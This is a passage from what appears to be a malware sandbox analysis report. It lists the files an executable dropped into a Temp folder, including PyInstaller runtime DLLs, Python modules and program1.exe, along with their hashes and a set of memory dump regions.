                                                                    api-ms-win-core-namedpipe-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-namedpipe-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 64896c2ca9b8da6c6c327602000f1f6d95e49e6f8df06929176a319cc2aa985e
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-processenvironment-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-processenvironment-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 8df2ab621406d2905a330df3955db715965c2c097061345ad94dafab1b04ef00
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-processthreads-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-processthreads-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 a0299f1564ea8aeeff67226b6d2f9b9802aab877c9b89c82d50377ca2a12dba9
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-processthreads-l1-1-1.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-processthreads-l1-1-1.dll
                                                                    • Size 22KB
                                                                    • SHA256 fe33f48a34243481782742168b24f344485527327534f7e05c60ba5420715387
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-profile-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-profile-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 2f506ccb47a0513d16b3dece9ed1a0459b796fdb96e40d8967dc84e7d4e36954
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-rtlsupport-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-rtlsupport-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 4335d1e4051cc16aee5745b1ae9027e1e710f41972faefc57c065f2166209853
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-string-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-string-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 4c8b4993badf3d843f57638b5f82e98769d3c7e0bd524d999ec2c720013a2fdf
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-synch-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-synch-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 a7e2c7177f10d6d35ed2cc79ce71eb979ba69a348f19237121ddac7d61103ebe
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-synch-l1-2-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-synch-l1-2-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 6ff6a5b89c6ccc33a8f99fef4abb83b760c3d6e5be20d4805d95720f67b86876
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-sysinfo-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-sysinfo-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 881b7e57388edbf8a167bc7e7714286e9fed54b981479fa540c218aab049a81e
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-timezone-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-timezone-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 c886fd30abe580e0bdb29b9e3cb50872159d1c62bcf03355b28850176f1258aa
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-core-util-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-core-util-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 26a32ca4e6a5f853a371f1fff7c4b7cd90288f4364921fbd4b11cbff697767a2
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-conio-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-conio-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 988e14fa33743956ca182c1ef033c09427d60f2b0132803b8548e28ca0378b7c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-convert-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-convert-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 fa445d728c70db47340907cf12dff8893fd249b738594a1825248211b8ec0dca
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-environment-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-environment-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 e2e562ec0ab4be342962e7e885cba380c3143bcbf83fcaff9269f26b2b448e24
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-filesystem-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-filesystem-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 f4a1f0ad4fde3752cf7dc6f3058e4c502546aad9029c8bd78ae1ee4cbe37922a
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-heap-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-heap-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 998294783016c09345cb2dd0f18163fb9bf469edb4954b1408e99f673c60d9f7
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-locale-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-locale-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 2376c1ef50f84a2b0e49e66c0e4c2b24e0c48a4d85450fc74ce77ff02f58fea5
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-math-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-math-l1-1-0.dll
                                                                    • Size 30KB
                                                                    • SHA256 9e1441afa2e6b3cb88c234fd43755fb2716d7266944239e93a8b3722f44ba792
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-process-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-process-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 df4a913f1708ccc03b9f41f69cf563a9c57bebaba18262fbc377584a2c2bbb9c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-runtime-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-runtime-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 3e95f9a63c2c742c43138b731966d4cfa6c922bdcff3e2958fe24e4bdf6e5461
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-stdio-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-stdio-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 21a5efa2bdf4a89e06b7dad84aa990412e054bac9befd198c05dd6add93b8430
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-string-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-string-l1-1-0.dll
                                                                    • Size 26KB
                                                                    • SHA256 05a910f254a8eae65c0f032ec7740afacb8439f87a64d53f9b8ebd66304b3b68
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-time-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-time-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 4a90e5b2f3fb45b6a92581a39d3b62948a588a360d449554d8cae1a40b009114
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    api-ms-win-crt-utility-l1-1-0.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\api-ms-win-crt-utility-l1-1-0.dll
                                                                    • Size 22KB
                                                                    • SHA256 88ce66919d551efa7a0430f1188b558c41532c363258c1f07a05e2b67d603208
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    base_library.zip
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\base_library.zip
                                                                    • Size 1.3MB
                                                                    • SHA256 a8933eb074758fa52f1ac159139f26a29d80ade3a643c00b3af91550f351c53d
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    libcrypto-3.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\libcrypto-3.dll
                                                                    • Size 6.0MB
                                                                    • SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    libffi-8.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\libffi-8.dll
                                                                    • Size 38KB
                                                                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    libssl-3.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\libssl-3.dll
                                                                    • Size 1.3MB
                                                                    • SHA256 b17a87979862d19241edc4318f967e24c3ec356ed6c2368f561179fab2311001
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    pyexpat.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\pyexpat.pyd
                                                                    • Size 217KB
                                                                    • SHA256 133942bde91fe43289076a0b50a01b265df4ead078617cca6f6604a4166e1260
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    python3.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\python3.dll
                                                                    • Size 72KB
                                                                    • SHA256 22c6e46d8bd563cdb072650901461ef68be2ea6cb1e80af859559d9395a27e39
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    python314.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\python314.dll
                                                                    • Size 6.5MB
                                                                    • SHA256 fde89cdb5c2d08ae65de7ef4abca1876c93ba3796002f5ac0bf7e4d4f5a94da0
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    select.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\select.pyd
                                                                    • Size 32KB
                                                                    • SHA256 fab1b4cee101359d82d72061b83cff1855337b3677b9fe01cd69f7548f4c496e
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    ucrtbase.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\ucrtbase.dll
                                                                    • Size 1.1MB
                                                                    • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    unicodedata.pyd
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI55522\unicodedata.pyd
                                                                    • Size 741KB
                                                                    • SHA256 0d4f124b2d6622d276d777f7106972219f9b310edb5df8149c253da7c013d6d8
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    __PSScriptPolicyTest_3zpmwwy5.zwk.ps1
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3zpmwwy5.zwk.ps1
                                                                    • Size 60B
                                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    program1.exe
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\_temp_24ofk7vl\program1.exe
                                                                    • Size 13.5MB
                                                                    • SHA256 c6d6db0dfda9557840fc97478715c04cd31a43514959924fbd577c31dcf68fbd
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    memory/4368-609-0x000001E5A37D0000-0x000001E5A37F2000-memory.dmp
                                                                    Download

                                                                    memory/4824-650-0x0000000000A30000-0x0000000000A4C000-memory.dmp
                                                                    Download

                                                                    memory/4824-651-0x0000000005830000-0x0000000005DD6000-memory.dmp
                                                                    Download

                                                                    memory/4824-663-0x0000000005480000-0x000000000549E000-memory.dmp
                                                                    Download

                                                                    memory/4824-658-0x0000000005300000-0x000000000530A000-memory.dmp
                                                                    Download

                                                                    memory/4824-657-0x0000000005320000-0x00000000053B2000-memory.dmp
                                                                    Download

                                                                    memory/4824-662-0x0000000005430000-0x000000000544A000-memory.dmp
                                                                    Download

                                                                    memory/4824-659-0x00000000054C0000-0x0000000005536000-memory.dmp
                                                                    Download

                                                                    memory/5016-652-0x00007FF8E54B0000-0x00007FF8E54B2000-memory.dmp
                                                                    Download

                                                                    memory/5016-654-0x00007FF7C1E50000-0x00007FF7C3426000-memory.dmp
                                                                    Download

                                                                    memory/5016-653-0x00007FF8E54C0000-0x00007FF8E54C2000-memory.dmp
                                                                    Download

                                                                    memory/5340-682-0x00000000079E0000-0x0000000007A12000-memory.dmp
                                                                    Download

                                                                    memory/5340-683-0x0000000070740000-0x000000007078C000-memory.dmp
                                                                    Download

                                                                    memory/5340-667-0x0000000002E30000-0x0000000002E66000-memory.dmp
                                                                    Download

                                                                    memory/5340-668-0x0000000005950000-0x000000000601A000-memory.dmp
                                                                    Download

                                                                    memory/5340-669-0x00000000058C0000-0x00000000058E2000-memory.dmp
                                                                    Download

                                                                    memory/5340-671-0x0000000006200000-0x0000000006266000-memory.dmp
                                                                    Download

                                                                    memory/5340-670-0x0000000006190000-0x00000000061F6000-memory.dmp
                                                                    Download

                                                                    memory/5340-679-0x0000000006270000-0x00000000065C7000-memory.dmp
                                                                    Download

                                                                    memory/5340-680-0x00000000067F0000-0x000000000680E000-memory.dmp
                                                                    Download

                                                                    memory/5340-691-0x0000000006E20000-0x0000000006E3E000-memory.dmp
                                                                    Download

                                                                    memory/5340-696-0x0000000007DD0000-0x0000000007E66000-memory.dmp
                                                                    Download

                                                                    memory/5340-695-0x0000000007BC0000-0x0000000007BCA000-memory.dmp
                                                                    Download

                                                                    memory/5340-681-0x0000000006830000-0x000000000687C000-memory.dmp
                                                                    Download

                                                                    memory/5340-692-0x0000000007A20000-0x0000000007AC3000-memory.dmp
                                                                    Download

                                                                    memory/5340-693-0x00000000081A0000-0x000000000881A000-memory.dmp
                                                                    Download

                                                                    memory/5340-694-0x0000000007B50000-0x0000000007B6A000-memory.dmp
                                                                    Download

                                                                    memory/5712-664-0x0000000000400000-0x0000000000418000-memory.dmp
                                                                    Download

                                                                    memory/5712-666-0x00000000052E0000-0x000000000537C000-memory.dmp
                                                                    Download

                                                                    memory/5712-716-0x0000000008390000-0x00000000083DE000-memory.dmp
                                                                    Download

                                                                    memory/5712-717-0x0000000008450000-0x0000000008456000-memory.dmp
                                                                    Download

                                                                    memory/6088-706-0x0000000005850000-0x0000000005BA7000-memory.dmp
                                                                    Download

                                                                    memory/6088-707-0x0000000070740000-0x000000007078C000-memory.dmp
                                                                    Download